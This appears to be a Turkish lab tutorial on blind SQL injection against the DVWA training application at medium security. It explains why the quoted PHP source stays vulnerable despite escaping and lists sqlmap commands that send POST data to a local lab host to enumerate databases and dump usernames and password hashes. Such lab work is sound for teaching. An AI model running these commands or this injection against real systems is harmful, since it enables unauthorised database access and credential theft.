Ders 18 - Blind SQL Injection (Medium Level) | |||||
Bu yazıda güvenlik düzeyi Medium seviyesine yükseltilmiş DVWA'ya karşı halen Blind SQL Injection saldırısı yapılabiliyor muyu ele alacağız.
Dersin HedefiSınırları aşın ve yine Blind SQL Injection ile admin'in şifresini ele geçirin.UyarıBu yazı Ders 17 - Blind SQL Injection (Low Level) yazısının devamı niteliğinde olduğundan dolayı kopukluk yaşamamak için öncelikle o yazıyı okumanızı şiddetle öneririm. Aksi takdirde orada detaylandırılmış fakat burada detaylandırılmamış olan Blind SQL Injection mantığını ve SQLMap kullanımını anlayamacaksınız.Blind SQL Injection'a Karşı KorunmaGeçen derste Blind SQL Injection'ın mantığından bahsetmiştik. Ardından bu mantığın otomatikleştirildiği bir araçtan, SQLMap'ten, bahsetmiştik. Tüm bu saldırıları yapabiliyor olmamızın nedeni aşağıdaki kaynak koddan dolayıydı:Low Level: <?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo 'User ID exists in the database.'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo 'User ID is MISSING from the database.'; } mysql_close(); } ?> 5. satırda DVWA ekranındaki metin kutusuna girilen veri $id değişkenine atanmaktadır ve $id değişkeni aldığı veriyle olduğu gibi 8. satırdaki SQL sorgusunda kullanılmaktadır. Sıkıntı buradadır. Güvenlik zafiyetinin temel nedeni burasıdır. $id değişkeni önceki derslerden de öğrendiğiniz üzere denetlenmeye tabi tutulmalıdır. Denetlenmediği için, içindeki zararlı karakterler ayıklanmadığı için ya da bloklanmadığı için biz geçen ders Blind SQL Injection saldırısında bulunabildik. Peki Medium seviyesi bize güvenlik açısından nasıl bir çözüm getiriyor bir bakalım: Medium Level: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo 'User ID exists in the database.'; } else { // Feedback for end user echo 'User ID is MISSING from the database.'; } //mysql_close(); } ?> Medium level güvenlik önlemi olarak 6. satırda görebileceğiniz üzere mysql_real_escape_string() fonksiyonu metin kutusundan gelen veriden SQL sorgusu için komut niteliğinde olan karakterlerin önüne ters slash koyarak string'leştirmektedir. Yani komutluktan çıkarıp düz metin haline getirmektedir. Görünüşte tamam gibi görünebilir. Güvenlik kusursuz denebilir. Fakat geçmiş dersleri takip edenlerin bileceği üzere 9. satırda PHP'nin syntax'ının esnekliği dolayısıyla tırnaksız şekilde bir SQL sorgusu kullanıldığından dolayı 6. satırdaki güvenlik önlemini boşa çıkaracaktır. Çünkü 6. satırdaki mysql_real_escape_string() fonksiyonu metin kutusundan gelen veride tek tırnak karakteri arayacaktır. Fakat 9. satırda görebileceğiniz üzere $id değişkeni SQL sorgusuna tırnaksız dahil edildiğinden saldırgan enjekte edeceği kodlar için tek tırnak kullanmak mecburiyetinde kalmayacaktır. Dolayısıyla tırnağın önüne ters slash koyan mysql_real_escape_string() fonksiyonu ters slash koyacak bir tırnak bulamayacaktır. Tırnaksız sql injection kodu da PHP'nin esnekliği sayesinde kusursuzca çalışacaktır. Sonuç olarak güvenlik aşılmış ve sql injection saldırısında yine bulunulmuş olunacaktır. Şimdi tekrar Blind SQL Injection saldırısı düzenlenecektir, fakat bir farkla. Önceki dersin DVWA ekranında enjeksiyon kodu girebileceğimiz metin kutusu vardı. Güvenlik Medium seviyesine yükseltildiğinde ise ekranda veri girebileceğimiz bir seçenek yoktur. Aksine hazır sunulmuş verilerden bir tanesini seçmemizi isteyen bir comboBox vardır: ![]() Bu comboBox'a enjeksiyon kodu girebilmek için tarayıcınızdan ilgili DVWA ekranına geçin. ComboBox'a sağ tıklayın ve Öğeyi Denetle (Inspect Element) seçeneğine tıklayın. Bunun üzerine tarayıcınızın alt tarafında küçük bir pencere açılacaktır. O pencerede mavi renkle seçili bir satır göreceksiniz. O satırın başındaki üçgene basarak satırı genişletin. ![]() Açılan seçeneklerden value'su 1 olanın (value="1") tırnaklarının içerisindeki 1'e çift tıklayın. Aşağıda ne zaman bir SQL Injection kodu verilirse bu çift tıkladığınız yerdeki 1'i silip yerine enjeksiyon kodunu koyun ve ardından ENTER yaptıktan sonra ekrandaki Submit butonuna basın. Böylece enjeksiyon saldırısında bulunabilirsiniz. Geçen ders anlatılan uzun ve meşakkatli deneme yanılmaları yukarıda bahsedilen o penceredeki value="1" 'in 1 sayısı yerine girip Submit butonuna tıklamanız gerekir. Fakat madem geçen ders bunun mantığı anlatıldı, bir daha aynı işlemleri tekrarlamaya lüzum yok. Bunun yerine Medium seviyesinin getirdiği bir farklılık olan POST methodu üzerine yoğunlaşalım. Geçen ders metin kutusuna girilen veriler (enjeksiyon kodları) URL'nin sonuna parametre olarak ekleniyordu. Dolayısıyla SQLMap'i kullanırken kodlamada GET methodu takip edilmişti. Şimdi ise güvenlik seviyesi Medium olduğu için olsa gerek comboBox'tan seçilen değerler (dahil edeceğiniz enjeksiyon kodları) URL'nin sonuna eklenmeden sunucuya gitmektedir. Yani POST methodu kullanılmaktadır. İşte bu yeni durumu SQLMap'le aşabilmek için --data parametresi kullanılacaktır. Bu yazıda daha önceki yazıda olduğu gibi sanal makinede kurulu işletim sistemi Kali'den ana makinadaki DVWA'ya saldırmayı simule edeceğimiz. Öncelikle Medium seviyesindeki DVWA'nın POST methoduyla gönderdiği değişken ve değerlerini tespit etmeliyiz. Bunun için Kali'deki tarayıcının Eklentiler kısmına gelin. Eklenti edin sekmesine tıklayın ve arama çubuğuna Live HTTP Headers yazın. ![]() Ardından aşağıdaki resimde görülen seçeneği tarayınıza yükleyin. ![]() Daha sonra Eklentiler sekmesinden tarayıcınızı yeniden başlatın ve tekrar Eklentiler sekmesine gelip yüklediğiniz eklentinin Tercihler butonuna tıklayın. Artık surf yaparken gönderdiğiniz HTTP Header'larını bu eklentinin penceresi üzerinden gözlemleyebileceksiniz. Şimdi DVWA'daki comboBox'ın yanında yer alan Submit butonuna bir defa tıklayın. Live HTTP Headers eklentisi aşağıdaki gibi bir içerikle sizi karşılayacaktır. ![]() Mavi satırı kopyalayın. Bu kopyaladığınız veriyi aşağıdaki --data="" 'nın içerisine yapıştıracaksınız. Şimdi Kali'den bir terminal açın ve aşağıdakileri terminale girin: sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=4g9rms6doiou9k1kjrnurtnls3" --data="id=1&Submit=Submit" -p id --technique=B --dbms=MySQL --dbs Kırmızı renkli alanları kendinize göre doldurmalısınız. İlk iki kırmızı alan için geçen ders neye göre doldurmanız gerektiğine dair bilgilendirme yapıldı. 3. kırmızı alana Live HTTP Header'dan kopyaladığınız veriyi yapıştırın. Böylece SQLMap'e enjeksiyon yapabileceği id parametresini göstermiş olursunuz. Saldırı: ![]() Çıktı: ![]() Görüldüğü üzere enjeksiyon başarılı bir şekilde tamamlandı ve veritabanı isimleri ekrana aktı. Veritabanı olarak dvwa'yı seçelim ve tablolarını keşfedelim. sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=4g9rms6doiou9k1kjrnurtnls3" --data="id=1&Submit=Submit" --technique=B --dbms=MySQL -D dvwa --tables Saldırı: ![]() Çıktı: ![]() Tablo olarak users'ı seçelim ve kolonlarını keşfedelim. sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=4g9rms6doiou9k1kjrnurtnls3" --data="id=1&Submit=Submit" --technique=B --dbms=MySQL -D dvwa -T users --columns Saldırı: ![]() Çıktı: ![]() user ve password kolonlarını seçelim ve bu kolonların tuttuğu değerleri tespit edelim. sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=4g9rms6doiou9k1kjrnurtnls3" --data="id=1&Submit=Submit" --technique=B --dbms=MySQL -D dvwa -T users -C user,password --dump Saldırı: ![]() Gelen soru için n'yi tuşlayın ve ENTER'layın. Ardından bir kez daha n'yi tuşlayın ve ENTER'layın. Böylece Blind SQL Injection saldırısıyla bu sefer POST methodu üzerinden hedef veritabanındaki kullanıcı adı ve şifreleri ele geçirmiş olduk. Çıktı: ![]() Yararlanılan Kaynak: https://www.youtube.com/watch?v=TKUU2PE9Bdc |
|||||
![]() |
|||||
|
|||||
Yorumlar |
|||||
Henüz yorum girilmemiştir. | |||||
Yorum Ekle | |||||